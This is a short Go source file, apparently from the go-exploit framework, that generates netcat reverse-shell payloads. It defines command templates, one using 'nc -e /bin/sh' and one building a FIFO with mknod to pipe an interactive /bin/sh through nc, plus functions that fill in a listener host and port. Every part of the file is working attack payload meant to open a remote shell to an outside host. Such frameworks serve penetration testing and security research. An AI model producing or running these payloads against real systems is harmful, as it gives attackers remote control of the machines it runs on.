package reverse

import (
	"fmt"

	"github.com/vulncheck-oss/go-exploit/random"
)

const (
	NetcatDefault = NetcatGaping
	NetcatGaping  = `nc %s %d -e /bin/sh`
	NetcatMknod   = `cd /tmp/; mknod %s p;cat %s|/bin/sh -i 2>&1|nc %s %d >%s; rm %s;`
)

func (nc *NetcatPayload) Default(lhost string, lport int) string {
	return fmt.Sprintf(NetcatDefault, lhost, lport)
}

// Utilize the GAPING_SECURITY_HOLE `nc -e` netcat option.
func (nc *NetcatPayload) Gaping(lhost string, lport int) string {
	return fmt.Sprintf(NetcatGaping, lhost, lport)
}

// Uses mknod to create a FIFO that redirects interactive shell through netcat and the FIFO.
func (nc *NetcatPayload) Mknod(lhost string, lport int) string {
	node := random.RandLetters(3)

	return fmt.Sprintf(NetcatMknod, node, node, lhost, lport, node, node)
}
